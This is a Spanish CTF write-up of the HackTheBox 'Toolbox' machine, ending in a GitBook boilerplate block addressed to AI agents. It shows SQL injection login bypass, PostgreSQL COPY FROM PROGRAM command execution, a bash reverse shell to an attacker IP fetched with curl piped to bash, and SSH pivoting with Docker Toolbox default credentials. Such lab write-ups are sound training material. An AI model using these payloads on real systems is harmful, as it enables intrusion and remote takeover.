> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md). # Resolución de HackTheBox Toolbox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Inyección PostgreSQL (RCE) * Pivotación * Abusando de boot2docker (Docker-Toolbox) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo

### **Puerto 21 (FTP)** El puerto FTP es accesible con el usuario `anonymous`. Hay un archivo llamado `docker-toolbox.exe`. Este archivo podría proporcionar pistas sobre el posible funcionamiento de Docker. {% hint style="info" %} Docker-Toolbox es un conjunto de herramientas utilizadas para administrar contenedores Docker en entornos antiguos o que no son Docker Desktop. {% endhint %}

### **Puerto 443 (HTTPS)**

**Usuarios posibles:** * Christine Rooster * Brandon Sharp * Connor Hodson

Tras la investigación, el sitio alojado ofrece un panel de administración accesible mediante `admin.megalogistic.com`.

## Vulnerabilidad: inyección PostgreSQL: {% hint style="info" %} PostgreSQL es un potente sistema de gestión de bases de datos relacional de código abierto que puede soportar de forma segura las cargas de trabajo de datos más complejas. {% endhint %} Al enviar estas credenciales: ```sql usuario: ' contraseña: ' ``` Aparece un error SQL, lo que indica un backend PostgreSQL que usa `pg_query`.

### **Explotación** Prueba un payload clásico de inyección: ```vbnet usuario: ' OR 1=1-- - contraseña: cualquier cosa ``` Obtenemos acceso al panel de administración del Dashboard.

Intercepta las consultas con **Burp Suite** y usa recursos como **HackTricks** para ajustar las inyecciones.

{% embed url="" %} #### Para probar si la inyección permite la ejecución de comandos, usa: `;select pg_sleep(10);-- -` Si la respuesta se retrasa 10 segundos, la inyección es utilizable.

### **Ejecución de comandos** Aquí hay un ejemplo de cómo obtener un comando en línea: ```sql DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; ``` Crea un `index.html` archivo que contiene: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` Ejecuta un servidor HTTP: ```bash python3 -m http.server 80 ``` Configura un listener: ```bash nc -nvlp 443 ``` Envíe el payload: ```sql username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d ```

#### **Estabilización de la terminal** Para hacer que la shell sea interactiva y cómoda: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabiliza la shell para trabajar más cómodamente. ## Escalada de privilegios: ### Pivotando con Docker {% hint style="info" %} Durante la fase de reconocimiento, identificamos que nuestra máquina Windows no era accesible directamente. Sin embargo, pudimos conectarnos a una máquina Windows contenida en un contenedor Docker, con la dirección IP `172.17.0.2` y los módulos de `172.17.0.1` puerta de enlace. Ahora intentaremos pivotar a través de este contenedor para escalar nuestros privilegios. {% endhint %}

### **Verificación del puerto SSH** Primero, necesitamos comprobar si el puerto SSH (22) está abierto en la puerta de enlace de Docker (172.17.0.1). Usamos un comando simple para ello: ```bash echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Abierto" || echo "[-] SSH Cerrado" ``` El puerto 22 está abierto, lo que significa que podemos intentar una conexión SSH a la máquina en el contenedor.

#### **Inicia sesión con las credenciales predeterminadas de Docker Toolbox** Las credenciales predeterminadas de Docker Toolbox son: * **Usuario**: `docker` * **Contraseña**: `tcuser` Ahora intentamos conectarnos al contenedor mediante SSH usando esta información. Una vez conectados a la máquina, notamos que tenemos acceso a la raíz del contenedor con el usuario `docker`.

#### **Exploración del sistema de archivos** En el directorio raíz encontramos una carpeta llamada **c**, que contiene una subcarpeta **users**. Dentro de **users** hay un **Desktop** carpeta que pertenece al usuario **Administrator**. Esto puede significar que el usuario `docker` tiene privilegios suficientes para acceder a datos sensibles del usuario **Administrator**, lo cual es una buena pista para aumentar privilegios.

### Bandera user.txt :) #### **Buscar `user.txt` (bandera de usuario)** Ahora buscaremos el `user.txt` archivo, que a menudo se usa para marcar el acceso exitoso de un usuario a una máquina. Usemos el siguiente comando para buscar este archivo en todo el sistema de archivos: ```bash find / -name user.txt 2>/dev/null ```

Localizamos el **user.txt** archivo en un directorio accesible, lo que nos da una primera señal de éxito en nuestra operación. ### Bandera root.txt :) Una vez encontrada la bandera de usuario, buscamos el **root.txt** archivo, que normalmente se encuentra en el directorio del usuario **Administrator**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.